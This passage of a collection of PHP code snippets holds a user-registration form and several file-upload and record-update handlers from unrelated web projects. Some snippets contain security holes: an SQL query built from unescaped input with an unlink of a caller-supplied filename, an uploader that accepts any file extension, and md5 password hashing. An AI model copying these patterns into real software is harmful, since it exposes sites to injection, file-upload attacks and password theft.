50px\",\"maxlength\"=>5))?>\r\n\t\t\t\t\t<?=self::combobox(\"tipo_direc0\",$tipoDirec,array(\"id\"=>\"tipo_direc0\",\"style\"=>\"width: 70px\",\"first_option\"=>\"-Tipo-\"))?>\r\n\t\t\t\t\t<?=self::combobox(\"local_pers0\",$localidad,array(\"id\"=>\"local_pers0\",\"style\"=>\"width: 100px\",\"first_option\"=>\"-Localidad-\"))?>\r\n\t\t\t\t\t<a href='#' onClick='AgregarCamposDireccion();'><img src='../../img/mas.jpg'></a></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t\t<?php }else{?>\r\n\t\t\t\t\t<div id='muestraDirec'><?=self::muestraDireccion($id_usuario)?></div>\r\n\t\t\t\t<?php }?>\t\r\n<!-- Dinamico Direc --> <div id=\"campos_direccion\" align=\"center\"></div>\t\r\n<input type=\"hidden\" id=\"mod_direc\" name=\"mod_direc\" value=\"0\">\t\r\n\t\t\t<?php if($edicion != 1){?>\t\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\" width=\"60px\">Email</td>\r\n\t\t\t\t\t<td colspan=\"2\"><?=self::inputText(array(\"id\"=>\"email0\",\"name\"=>\"email0\",\"maxlength\"=>100))?>&nbsp;\r\n\t\t\t\t\t<?=self::combobox(\"tipo_correo0\",$tipoEmail,array(\"id\"=>\"tipo_correo0\",\"style\"=>\"width:70px\",\"first_option\"=>\"-Tipo-\"))?> <a href='#' onClick='AgregarCamposEmail();'><img src='../../img/mas.jpg'></a></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t<?php }else{?>\r\n\t\t\t\t\t<div id='div_muestra_email'><?=self::muestraEmail($id_usuario)?></div>\r\n\t\t\t<?php }?>\r\n\t\t\t\r\n<!-- Dinamico email --> <div id=\"campos_email\" align=\"center\"></div>\r\n<input type=\"hidden\" id=\"mod_email\" name=\"mod_email\" value=\"0\">\r\n\t\t\t<?php if($edicion != 1){?>\t\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\" width=\"60px\">Fono</td>\r\n\t\t\t\t\t<td colspan=\"2\"><?=self::inputText(array(\"id\"=>\"fono0\",\"name\"=>\"fono0\",\"maxlength\"=>30))?>&nbsp;\r\n\t\t\t\t\t<?=self::combobox(\"tipo_fono0\",$tipoFono,array(\"id\"=>\"tipo_fono0\",\"style\"=>\"width: 70px\",\"first_option\"=>\"-Tipo-\"))?> <a href='#' onClick='AgregarCamposFono();'><img src='../../img/mas.jpg'></a></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t<?php }else{?>\r\n\t\t\t\t\t<div id='div_muestra_fono'><?=self::muestraFono($id_usuario)?></div>\r\n\t\t\t<?php }?>\r\n<!-- Dinamico Fono --> <div id=\"campos_fono\" align=\"center\"></div>\r\n<input type=\"hidden\" id=\"mod_fono\" name=\"mod_fono\" value=\"0\">\r\n\t\t\t<table width=\"100%\">\r\n\t\t\t\t\t<tr><td>&nbsp;</td></tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td colspan=\"4\" class=\"ui-corner-all ui-widget-header\" align=\"center\">DATOS LABORALES</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">C&oacute;digo T&eacute;cnico</td>\r\n\t\t\t\t\t\t<td><?=self::inputText(array(\"id\"=>\"codigo_tecnico_us\",\"name\"=>\"codigo_tecnico_us\",\"value\"=>$dataUsuario[0][16],\"maxlength\"=>30))?></td>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Area Funcional</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"area_fun_us\",self::$datoDB->selectAreaFun(),array(\"id\"=>\"area_fun_us\",\"default\"=>$dataUsuario[0][17]))?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Cargo</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"cargo_us\",self::$datoDB->selectCargo(),array(\"id\"=>\"cargo_us\",\"default\"=>$dataUsuario[0][18]))?></td>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Direcci&oacute;n</td> \r\n\t\t\t\t\t\t<td><?=self::combobox(\"dire_lab_us\",self::$datoDB->selectDireccionLaboral(),array(\"id\"=>\"dire_lab_us\",\"default\"=>$dataUsuario[0][19]))?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Tipo usuario</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"interno_no_us\",self::$datoDB->selectInternoNoi(),array(\"id\"=>\"interno_no_us\",\"onchange\"=>\"verificaInterino(this.value);\",\"default\"=>$dataUsuario[0][20]))?></td>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Empresa</td>\r\n\t\t\t\t\t\t<td><div id=\"empresa\"><?=self::combobox(\"empresa_us\",self::$datoDB->selectEmpresa(),array(\"id\"=>\"empresa_us\",\"default\"=>$dataUsuario[0][21]))?></div></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Fecha ing. VTR</td>\r\n\t\t\t\t\t\t<td><?=self::inputFecha(\"fecha_ingreso_vtr\",array(\"id\"=>\"fecha_ingreso_vtr\",\"value\"=>$dataUsuario[0][3],\"yearRange\"=>\"-20:+0\"))?></td>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Nivel de aprobaci&oacute;n</td><!-- Es el nivel Ap. Si. -->\r\n\t\t\t\t\t\t<td><?=self::combobox(\"nivel_apro_us\",self::$datoDB->selectNivelApSi(),array(\"id\"=>\"nivel_apro_us\",\"default\"=>$dataUsuario[0][22],\"selected\"=>\"selected\"))?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Perfil</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"perfil_us\",self::$datoDB->selectPerfil(),array(\"id\"=>\"perfil_us\",\"default\"=>$dataUsuario[0][23]))?></td>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Jefe</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"jefe_us\",self::$datoDB->selectJefes(),array(\"id\"=>\"jefe_us\",\"default\"=>$dataUsuario[0][24]))?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<?php if($edicion == 1){\r\n\t\t\t\t\t\t \t$valor = $dataUsuario[0][25];\r\n\t\t\t\t\t\t }else{\r\n\t\t\t\t\t\t\t$valor = 1;\r\n\t\t\t\t\t\t }?>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"cuadrotexto\">Estado</td>\r\n\t\t\t\t\t\t<td><?=self::combobox(\"estado_us\",self::$datoDB->selectEstado(),array(\"id\"=>\"estado_us\",\"default\"=>$valor))?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t</table>\t\r\n\t<!-- ----------------- Campos dinamicos -->\r\n\t<script type=\"text/javascript\">\r\n\r\n// ********************************* DINAMICOS DIRECCION *************************\t\t\r\n\t\t\tvar nextinput2 = 0;\r\n\t\t\tfunction AgregarCamposDireccion(){\r\n\t\t\t\tdireccion\t= $(\"#direccion_pers\"+nextinput2).val();\r\n\t\t\t\ttipo_direc\t= $(\"#tipo_direc\"+nextinput2).val();\r\n\t\t\t\tlocalidad\t= $(\"#local_pers\"+nextinput2).val();\r\n\t\t\t\tnmro\t\t= $(\"#nmro\"+nextinput2).val();\r\n\t\t\t\tdpto\t\t= $(\"#dpto\"+nextinput2).val();\r\n\r\n\t\t\t\terror = \"\"\r\n\t\t\t\tcabecera = \"Debe ingresar los siguientes datos \\n\";\r\n\r\n\t\t\t\tif(direccion == \"\"){\r\n\t\t\t\t\terror += \"- Ingrese Direccion \\n\";\r\n\t\t\t\t}\r\n\t\t\t\tif(nmro == \"\"){\r\n\t\t\t\t\terror += \"- Ingrese el numero de la direccion \\n\";\r\n\t\t\t\t}\r\n\t\t\t\tif(tipo_direc == \"\"){\r\n\t\t\t\t\terror += \"- Seleccione Tipo de direccion \\n\";\r\n\t\t\t\t}\r\n\t\t\t\tif(localidad == \"\"){\r\n\t\t\t\t\terror += \"- Seleccione Localidad \\n\";\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(error != \"\"){\r\n\t\t\t\t\talert(cabecera+error);\r\n\t\t\t\t}else{\r\n\t\t\t\t\r\n\t\t\t\t\tnextinput2++;\r\n\t\r\n\t\t\t\t\tcampo = \"<table align='left' width='100%'>\";\r\n\r\n\t\t\t\t\tcampo += \"<tr>\";\r\n\r\n\t\t\t\t\tcampo += \"<td width='65px'>&nbsp;</td>\";\r\n\r\n\t\t\t\t\tcampo += \"<td>\";\r\n\r\n\t\t\t\t\tcampo += \"&nbsp;<input type='text' id='direccion_pers\"+nextinput2+\"' name='direccion_pers\"+nextinput2+\"' style='width:100px' maxlength='50'>&nbsp;\";\r\n\t\t\t\t\tcampo += \"&nbsp;Nro <input type='text' id='nmro\"+nextinput2+\"' name='nmro\"+nextinput2+\"' style='width:50px'>&nbsp;\";\r\n\t\t\t\t\tcampo += \"&nbsp;Dpto <input type='text' id='dpto\"+nextinput2+\"' name='dpto\"+nextinput2+\"' style='width:50px' maxlength='5'>&nbsp;\";\r\n\r\n\t\t\t\t\tcampo += \"<select style='width: 70px' id='tipo_direc\"+nextinput2+\"' name='tipo_direc\"+nextinput2+\"'>\";\r\n\t\t\t\t\tcampo += \"<option value=''>-Tipo-</option>\";\r\n\t\t\t\t\t<?php for($i=0;$i<count($tipoDirec['ID_TIPO_DIRECCION_USUARIO']);$i++){?>\r\n\t\t\t\t\tcampo += \"<option value='<?=$tipoDirec['ID_TIPO_DIRECCION_USUARIO'][$i]?>'><?=$tipoDirec['NOMBRE'][$i]?></option>\";\r\n\t\t\t\t\t<?php }?>\r\n\t\t\t\t\tcampo += \"</select>&nbsp;\";\r\n\r\n\t\t\t\t\tcampo += \"<select style='width: 100px' id='local_pers\"+nextinput2+\"' name='local_pers\"+nextinput2+\"'>\";\r\n\t\t\t\t\tcampo += \"<option value=''>-Localidad-</option>\";\r\n\r\n\t\t\t\t\t<?php for($i=0;$i<count($localidad['CODI_LOCALIDAD']);$i++){?>\r\n\t\t\t\t\tcampo += \"<option value='<?=$localidad['CODI_LOCALIDAD'][$i]?>'><?=$localidad['DESC_LOCALIDAD'][$i]?></option>\";\r\n\t\t\t\t\t<?php }?>\r\n\t\t\t\t\tcampo += \"</select>&nbsp;\";\r\n\r\n\t\t\t\t\tcampo += \"<a href='#' onClick='eliminaTr(this);'><img src='../../img/menos.jpg'> Eliminar</a>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\tcampo += \"</td>\";\r\n\r\n\t\t\t\t\tcampo += \"<td>&nbsp;</td>\";\r\n\t\t\t\t\tcampo += \"</tr>\";\r\n\t\t\t\t\tcampo += \"</table>\";\r\n\r\n\t\t\t\t\t$(\"#campos_direccion\").append(campo);\r\n\t\r\n\t\t\t\t\tdocument.getElementById(\"mod_direc\").value = nextinput2;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n// ********************************* DINAMICOS EMAIL *************************\t\t\r\n\tvar nextinput = 0;\r\n\r\n\t\tfunction AgregarCamposEmail(){\r\n\t\t\tcorreo\t= $(\"#email\"+nextinput).val();\r\n\t\t\ttipo\t= $(\"#tipo_correo\"+nextinput).val();\r\n\r\n\t\t\terror = \"\"\r\n\t\t\tcabecera = \"Debe ingresar los siguientes datos \\n\";\r\n\t\t\t\r\n\t\t\tif(correo == \"\"){\r\n\t\t\t\terror += \" - Correo \\n\";\r\n\t\t\t}\r\n\t\t\tif(tipo == \"\"){\r\n\t\t\t\terror += \" - Tipo de correo \\n\";\r\n\t\t\t}\r\n\r\n\t\t\tif(error != \"\"){\r\n\t\t\t\talert(cabecera+error);\r\n\t\t\t}else{\r\n\r\n\t\t\t\tnextinput++;\r\n\t\r\n\t\t\t\tcampo = \"<table align='left' width='100%'>\";\r\n\t\t\t\tcampo += \"<tr>\";\r\n\t\r\n\t\t\t\tcampo += \"<td width='65px'>&nbsp;</td>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<td>\";\r\n\t\r\n\t\t\t\tcampo += \"<input type='text' id='email\"+nextinput+\"' name='email\"+nextinput+\"' style='width: 290px' maxlength=100>&nbsp;\";\r\n\t\t\t\tcampo += \"<select style='width:70px' id='tipo_correo\"+nextinput+\"' name='tipo_correo\"+nextinput+\"'>\";\r\n\t\t\t\tcampo += \"<option value=''>-Tipo-</option>\";\r\n\t\t\t\t<?php for($i=0;$i<count($tipoEmail['ID_TIPO_CORREO_USUARIO']);$i++){?>\r\n\t\t\t\tcampo += \"<option value='<?=$tipoEmail['ID_TIPO_CORREO_USUARIO'][$i]?>'><?=$tipoEmail['DESCRIPCION'][$i]?></option>\";\r\n\t\t\t\t<?php }?>\r\n\t\t\t\tcampo += \"</select>\";\r\n\t\r\n\t\t\t\tcampo += \"&nbsp;<a href='#' onClick='eliminaTr(this);'><img src='../../img/menos.jpg'> Eliminar</a>\";\t\r\n\t\r\n\t\t\t\tcampo += \"</td>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<td>&nbsp;</td>\";\r\n\t\r\n\t\t\t\tcampo += \"</tr>\";\r\n\t\t\t\tcampo += \"</table>\";\r\n\t\r\n\t\t\t\t$(\"#campos_email\").append(campo);\r\n\t\r\n\t\t\t\tdocument.getElementById(\"mod_email\").value = nextinput;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\r\n// ********************************* DINAMICOS FONO *************************\t\t\r\n\t\tvar nextinput3 = 0;\r\n\t\tfunction AgregarCamposFono(){\r\n\r\n\t\t\tfono\t\t= $(\"#fono\"+nextinput3).val();\r\n\t\t\ttipo_fono\t= $(\"#tipo_fono\"+nextinput3).val();\r\n\r\n\t\t\terror = \"\"\r\n\t\t\tcabecera = \"Debe ingresar los siguientes datos \\n\";\r\n\t\t\t\r\n\t\t\tif(fono == \"\"){\r\n\t\t\t\terror += \" - Fono \\n\";\r\n\t\t\t}\r\n\t\t\tif(tipo_fono == \"\"){\r\n\t\t\t\terror += \" - Tipo de Fono \\n\";\r\n\t\t\t}\r\n\r\n\t\t\tif(error != \"\"){\r\n\t\t\t\talert(cabecera+error);\r\n\t\t\t}else{\r\n\t\t\t\r\n\t\t\t\tnextinput3++;\r\n\t\r\n\t\t\t\tcampo = \"<table align='left' width='100%'>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<tr>\";\r\n\t\r\n\t\t\t\tcampo += \"<td width='65px'>&nbsp;</td>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<td>\";\r\n\t\r\n\t\t\t\tcampo += \"<input type='text' id='fono\"+nextinput3+\"' name='fono\"+nextinput3+\"' style='width:290px' maxlength=30>&nbsp;\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<select style='width:70px' id='tipo_fono\"+nextinput3+\"' name='tipo_fono\"+nextinput3+\"'>\";\r\n\t\t\t\tcampo += \"<option value=''>-Tipo-</option>\";\r\n\t\t\t\t<?php for($i=0;$i<count($tipoFono['ID_TIPO_TELEFONO']);$i++){?>\r\n\t\t\t\tcampo += \"<option value='<?=$tipoFono['ID_TIPO_TELEFONO'][$i]?>'><?=$tipoFono['DESCRIPCION_TELEFONO'][$i]?></option>\";\r\n\t\t\t\t<?php }?>\r\n\t\t\t\tcampo += \"</select>&nbsp;\";\r\n\t\r\n\t\t\t\tcampo += \"<a href='#' onClick='eliminaTr(this);'><img src='../../img/menos.jpg'> Eliminar</a>\";\t\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"</td>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"<td>&nbsp;</td>\";\r\n\t\t\t\t\r\n\t\t\t\tcampo += \"</tr>\";\r\n\t\t\t\tcampo += \"</table>\";\r\n\t\r\n\t\t\t\t$(\"#campos_fono\").append(campo);\r\n\t\r\n\t\t\t\tdocument.getElementById(\"mod_fono\").value = nextinput3;\r\n\t\t\t}\r\n\t\t}\r\n\t</script>\r\n\t<!-- ----------------- Fin campos dinamicos ----------- -->\r\n\t\t</td>\r\n\t</tr>\r\n\t<?php if($edicion == 1){?>\r\n\t\t<tr>\r\n\t\t\t<td colspan=\"4\" align=\"center\"><?=self::inputButton(array(\"value\"=>\"Actualizar\",\"onclick\"=>\"actualizaUsuario($id_usuario);\",\"style\"=>\"width :100px\"));?></td>\r\n\t\t</tr>\r\n\t<?php }else{?>\r\n\t<tr>\r\n\t\t<td colspan=\"4\" align=\"center\"><?=self::inputButton(array(\"value\"=>\"Guardar\",\"onclick\"=>\"insertaUsuario(this.form);\",\"style\"=>\"width :100px\"));?></td>\r\n\t</tr>\r\n\t<?php }?>\r\n</table>\r\n\r\n</form>\r\n</div>\r\n<?php\r\n\t}", "function update_upload($con,$id_ampu,$judul,$ket,$link,$berkas,$expired,$sts,$berkaslawas,$tmp_files,$id_materi)\n {\n //$fileupdate=mysqli_fetch_array($a);\n $q=mysqli_query($con,\"update materi set id_ampu = '$id_ampu',judul='$judul',ket='$ket',link='$link',sts='$sts',expired='$expired',file='$berkas' where id_materi = '$id_materi'\");\n if($q)\n {\n unlink('../file/'.$berkaslawas);\n move_uploaded_file($tmp_files, '/file/'.$berkas);\n echo '<script>window.alert(\"Materi dengan Lampiran berhasil di Edit\");window.location.href=\"?p=mapel&id_ampu='.$id_ampu.'\"</script>'; \n }else\n {\n echo '<script>window.alert(\"Materi Gagal di Edit\");window.location.href=\"\"</script>';\n }\n }", "function update_process()\n {\n if ($this->acl->otentikasi_admin($this->title) == TRUE){\n\n $data['title'] = $this->properti['name'].' | Articleistrator '.ucwords($this->modul['title']);\n $data['h2title'] = $this->modul['title'];\n $data['main_view'] = 'admin_update';\n\t$data['form_action'] = site_url($this->title.'/update_process');\n\t$data['link'] = array('link_back' => anchor('admin/','<span>back</span>', array('class' => 'back')));\n\n\t// Form validation\n $this->form_validation->set_rules('ttitle', 'Article Title', 'required|maxlength[100]|callback_validating');\n $this->form_validation->set_rules('ccategory', 'Category', 'required');\n $this->form_validation->set_rules('clang', 'Language', 'required');\n $this->form_validation->set_rules('tdates', 'Article Dates', 'required');\n $this->form_validation->set_rules('tdesc', 'Article Content', 'required');\n\n if ($this->form_validation->run($this) == TRUE)\n {\n $config['upload_path'] = './images/article/';\n $config['file_name'] = split_space($this->input->post('ttitle'));\n $config['allowed_types'] = 'png|jpg';\n $config['overwrite'] = TRUE;\n $config['max_size']\t = '10000';\n $config['max_width'] = '10000';\n $config['max_height'] = '10000';\n $config['remove_spaces'] = TRUE;\n \n $this->load->library('upload', $config);\n \n if ( !$this->upload->do_upload(\"userfile\"))\n {\n $data['error'] = $this->upload->display_errors();\n $article = array(\n 'title' => $this->input->post('ttitle'), 'category_id' => $this->input->post('ccategory'),\n 'permalink' => split_space($this->input->post('ttitle')),\n 'lang' => $this->input->post('clang'), 'user' => $this->session->userdata('username'),\n 'comment' => $this->cek_tick($this->input->post('ccoment')), 'front' => $this->cek_tick($this->input->post('cfront')),\n 'dates' => setnull($this->input->post('tdates')), 'time' => waktuindo(), 'text' => $this->input->post('tdesc'),\n 'created' => date('Y-m-d H:i:s'));\n }\n else\n {\n $info = $this->upload->data();\n $article = array(\n 'title' => $this->input->post('ttitle'), 'category_id' => $this->input->post('ccategory'),\n 'permalink' => split_space($this->input->post('tpermalink')),\n 'lang' => $this->input->post('clang'), 'image' => $info['file_name'], 'user' => $this->session->userdata('username'),\n 'comment' => $this->cek_tick($this->input->post('ccoment')), 'front' => $this->cek_tick($this->input->post('cfront')),\n 'dates' => setnull($this->input->post('tdates')), 'time' => waktuindo(), 'text' => $this->input->post('tdesc'),\n 'created' => date('Y-m-d H:i:s'));\n }\n\n\t $this->Orders_model->update($this->session->userdata('langid'), $article);\n $this->session->set_flashdata('message', \"One $this->title has successfully updated!\");\n redirect($this->title.'/update/'.$this->session->userdata('langid'));\n // $this->session->unset_userdata('langid');\n// if ($this->upload->display_errors()){ echo \"warning|\".$this->upload->display_errors(); }\n// else { echo 'true|Data successfully saved..!|'.base_url().'images/component/'.$info['file_name']; }\n\n }\n else{ $this->load->view('template', $data); echo 'error|'.validation_errors(); }\n }else { echo \"error|Sorry, you do not have the right to edit $this->title component..!\"; }\n }", "public function upload_pasfoto_suket011()\n\t{\n\t\t$where = $this->input->post('id_surat');\n\t\tif ($_FILES != null) {\n\t\t\t$this->aksi_upload_pasfoto_suket011($_FILES);\n\t\t}\n\n\t\t$permohonan = $this->input->post('id_permohonan_surat');\n\t\t$this->session->set_flashdata('success', 'disimpan');\n\t\tredirect('warga/detail_suket011/' . $where . '/' . $permohonan);\n\t}", "function uploader_edit(){\n $id = $this->uri->segment(3);\n $dir = ROOT.'data/tam/';\n $dir_admin = 'data/tam/';\n $size=$_FILES['Filedata']['size'];\n if($size>204857600)\n {\n $data['error'] = 1;\n $data['msg'] = \"File quá lớn. Không thể tải lên\";\n } \n $filename = stripslashes($_FILES['Filedata']['name']);\n $i = strrpos($filename,\".\");\n if (!$i) { return \"\"; }\n $l = strlen($filename) - $i;\n $extension = substr($filename,$i+1,$l); \n $extension = strtolower($extension); \n $file_name = str_replace($extension,'',$filename);\n $file_name = vnit_change_title($file_name);\n $filename = $dir.$file_name.'-'.time().'.'.$extension;\n $file_ext = $file_name.'-'.time().'.'.$extension;\n if (move_uploaded_file($_FILES['Filedata']['tmp_name'], $filename)) {\n $vdata['id'] = $id;\n $vdata['path'] = $file_ext;\n $this->db->insert('khachhang_img',$vdata);\n $this->load->helper('vimg');\n $folder_tam = ROOT.'data/tam/'.$file_ext;\n $folder_150 = ROOT.'data/khachhang/150/'.$file_ext;\n $folder_500 = ROOT.'data/khachhang/500/'.$file_ext;\n $this->load->helper('vimg');\n vnit_resize_image($folder_tam,$folder_150,150,0,false);\n vnit_resize_image($folder_tam,$folder_500,500,0,false);\n \n $data['id'] = $this->db->insert_id();\n $data['error'] = 0;\n $data['filename'] = $file_ext;\n $data['msg'] = \"Tải file lên thành công\";\n } else {\n $data['error'] = 1;\n $data['msg'] = \"Tải file lên không thành công\";\n }\n echo json_encode($data);\n }", "function file_input($name, $file_path =USER_FILE_PATH)\n{\n $upload_stat = true;\n $image = checkInput($_FILES[$name]['name']);\n $imagePath = $file_path . basename($image);\n $imageExtension = pathinfo($imagePath, PATHINFO_EXTENSION);\n if ($imageExtension != 'jpg' && $imageExtension != 'jpeg' && $imageExtension != 'png' && $imageExtension != 'gif' && $imageExtension != 'JPG' && $imageExtension != 'JPEG' && $imageExtension != 'PNG' && $imageExtension != 'GIF') {\n $result['message'] = \"<div class=\\\"alert alert-error\\\">le format de votre fichier est invalide <i class=\\\"fas fa-user-times\\\" >&times</i></div>\";\n $upload_stat = false;\n $result['status'] = $upload_stat;\n }\n if (file_exists($imagePath)) {\n $result['message'] = \"<div class=\\\"alert alert-error\\\"> votre fichier existe deja <i class=\\\"fas fa-user-times\\\" >&times</i></div>\";\n $upload_stat = false;\n $result['status'] = $upload_stat;\n }\n if ($_FILES[$name]['size'] > 500000) {\n $result['message'] = \"<div class=\\\"alert alert-error\\\"> votre fichier est trop volumineux <i class=\\\"fas fa-user-times\\\" >&times</i></div>\";\n $upload_stat = false;\n $result['status'] = $upload_stat;\n }\n\n if ($upload_stat) {\n if (!move_uploaded_file($_FILES[$name]['tmp_name'], $imagePath)) {\n $result['message'] = \"<div class=\\\"alert alert-error\\\">l'upload de votre fichier a echouer <i class=\\\"fas fa-user-times\\\" >&times</i></div>\";\n $result['status'] = false;\n } else {\n $result['status'] = $upload_stat;\n $result['name'] = $image;\n }\n\n }\n return $result;\n}", "private function validateEditAccountRequest(){\n $author = filter_input_array(INPUT_POST,FILTER_SANITIZE_STRING);\n if(!isset($author['name'])){\n die('Bad Request');\n }\n $errors=[\n 'notAny'=>'',\n 'name_err'=>'',\n 'image_err'=>'',\n 'oldPassword_err'=>'',\n 'newPassword_err'=>'',\n 'confirmPassword_err'=>'',\n ];\n if(empty($author['name']) and empty($_FILES['image']['name']) and empty($author['newPassword'])){\n $errors['notAny']='Nothings To Change !';\n }\n if(!empty($author['name']) and strlen($author['name'])<3){\n $errors['name_err']='short name';\n }\n //validate old Password \n $dbAuthor=$this->authorModel->getAuthorByEmail($_SESSION['author_email']);\n if( $author['oldPassword'] and !password_verify($author['oldPassword'],$dbAuthor->password)){\n $errors['oldPassword_err']='Incorrect Password !';\n }\n //check new password\n if(!empty($author['newPassword']) and strlen($author['newPassword'])<6){\n $errors['newPassword_err']='short ! at least 6';\n }elseif($author['newPassword']!==$author['confirm-password']){\n $errors['confirmPassword_err']='not matches !';\n }\n //author can chande password without enter oldPassword\n if($author['newPassword'] and empty($author['oldPassword'])){\n $errors['newPassword_err']='Enter old Password !';\n }\n \n //image validation\n $validType=['image/png','image/jpg','image/jpeg'];\n $image = $_FILES['image']['name']?$_FILES['image']:false;\n if($image){\n if(!in_array($image['type'],$validType)){\n $errors['image_err']='Invalid image type !( png , jpg and jpeg are valid )';\n }elseif($image['size']>200000){ //200kb\n $errors['image_err']='Hight image size !';\n }\n }\n \n $output=[];\n if(hsaError($errors)){\n $output['result']=false;\n $output['errors']=$errors;\n }else{\n $output['result']=true;\n $output['author']=$author;\n }\n return $output;\n }", "function editar_perfil() {\r\n\t//Comprueba que los campos tien cosas, si las tiene las actualiza y si no las omite.\r\n\r\n\tif(!empty($_FILES['imagen_perfil']['tmp_name'])) \r\n\t\trecibir_fichero();\r\n\t\r\n\tif(!empty($_POST['estado_usuario']))\r\n\t\teditar_estado();\r\n\t\r\n\tif(!empty($_POST['nombre']))\r\n\t\teditar_nombre();\r\n\r\n\treturn true;\r\n}", "public function proses_add()\n {\n // $directory = './lib/blog/'; //direktori\n // $allowed_file = 'jpg|jpeg|gif|png'; //file yang diizinkan dibatasi dengan tanga |\n // $upload = $this->m_crud->uploadfile($variable,$directory,$allowed_file); //proses dengan modul insertfile\n // /* to upload file */\n // $filename = $upload['file_name'];\n\n $data = array(\n 'nama' => $this->input->post('nama'),\n 'alamat' => $this->input->post('alamat'),\n 'username' => $this->input->post('nama'),\n 'password' => md5($this->input->post('password')),\n );\n $result = $this->m_crud->insert('user', $data);\n redirect('user/');\n }", "public function tambah()\n\t{\n\t\t$previllage = 1;\n\t\tcheck_super_user($this->fungsi->user_login()->tipe_user,$previllage);\n\n\t\t//Load librarynya dulu\n\t\t$this->load->library('form_validation');\n\t\t//Atur validasinya\n\t\t$this->form_validation->set_rules('judul', 'judul', 'min_length[3]|is_unique[tb_tugas.judul]|max_length[50]');\n\n\t\t//Pesan yang ditampilkan\n\t\t$this->form_validation->set_message('min_length', '{field} Setidaknya minimal {param} karakter.');\n\t\t$this->form_validation->set_message('max_length', '{field} Seharusnya maksimal {param} karakter.');\n\t\t$this->form_validation->set_message('is_unique', 'Data sudah ada');\n\t\t//Tampilan pesan error\n\t\t$this->form_validation->set_error_delimiters('<span class=\"badge badge-danger\">', '</span>');\n\n\t\tif ($this->form_validation->run() == FALSE) {\n\t\t\t$data['menu'] = \"Tambah Data tugas\";\n\t\t\t$this->templateadmin->load('template/dashboard','tugas/tambah',$data);\n\t } else {\n $post = $this->input->post(null, TRUE);\t \n\n \n\n\t\t\t\t//CEK GAMBAR\n $config2['upload_path'] = 'assets/dist/files/tugas/';\n $config2['allowed_types'] = 'doc|docx|pdf|ppt|pptx';\n $config2['max_size'] = 6000;\n $config2['file_name'] = 'tugas-'.date(\"Ymdhis\");\n\n\t\t\t\t$upload_2 = $this->load->library('upload', $config2);\n\t\t\t\tif (@$_FILES['file']['name'] != null) {\n\t\t\t\t\t\t$this->upload->initialize($config2);\n\t\t\t\t \tif ($this->upload->do_upload('file')) {\n\t\t\t\t \t \t$post['file'] = $this->upload->data('file_name');\n\t \t} else {\n\t\t\t\t\t\t\t$pesan = $this->upload->display_errors();\n\t\t\t\t\t\t\t$this->session->set_flashdata('danger',$pesan);\n\t\t\t\t\t\t\tredirect('tugas/tambah');\n\t\t }\n\t\t }\t\t\t\t\n\t\t\t \n\t\t\t\t$this->tugas_m->simpan($post);\n\t \tif ($this->db->affected_rows() > 0) {\n\t \t\t$this->session->set_flashdata('success','Berhasil Di Publish');\n\t \t}\t \t \t\n\t redirect('tugas');\t \t\n\t }\n\t}", "public function handle_upload()\n {\n }", "public function form_satuan()\n {\n $data['avatar'] = $this->M_kasir->get_data_gambar('tb_upload_gambar_user',$this->session->userdata('name'));\n $this->load->view('kasir/form_satuan/form_insert',$data);\n }", "function update($uid=null)\n {\n if ($this->acl->otentikasi2($this->title) == TRUE && $this->model->valid_add_trans($uid, $this->title) == TRUE){\n\n\t// Form validation\n $this->form_validation->set_rules('tname', 'Name', 'required|max_length[100]|callback_validation_payment['.$uid.']');\n $this->form_validation->set_rules('torder', 'Order', 'required|numeric');\n $this->form_validation->set_rules('taccno', 'Account No', '');\n $this->form_validation->set_rules('taccname', 'Account Name', '');\n\n if ($this->form_validation->run($this) == TRUE)\n {\n $config['upload_path'] = './images/payment/';\n $config['file_name'] = split_space($this->input->post('tname'));\n $config['allowed_types'] = 'gif|jpg|png';\n $config['overwrite'] = true;\n $config['max_size']\t= '10000';\n $config['max_width'] = '10000';\n $config['max_height'] = '10000';\n $config['remove_spaces'] = TRUE;\n\n $this->load->library('upload', $config);\n\n if ( !$this->upload->do_upload(\"userfile\")) // if upload failure\n {\n $data['error'] = 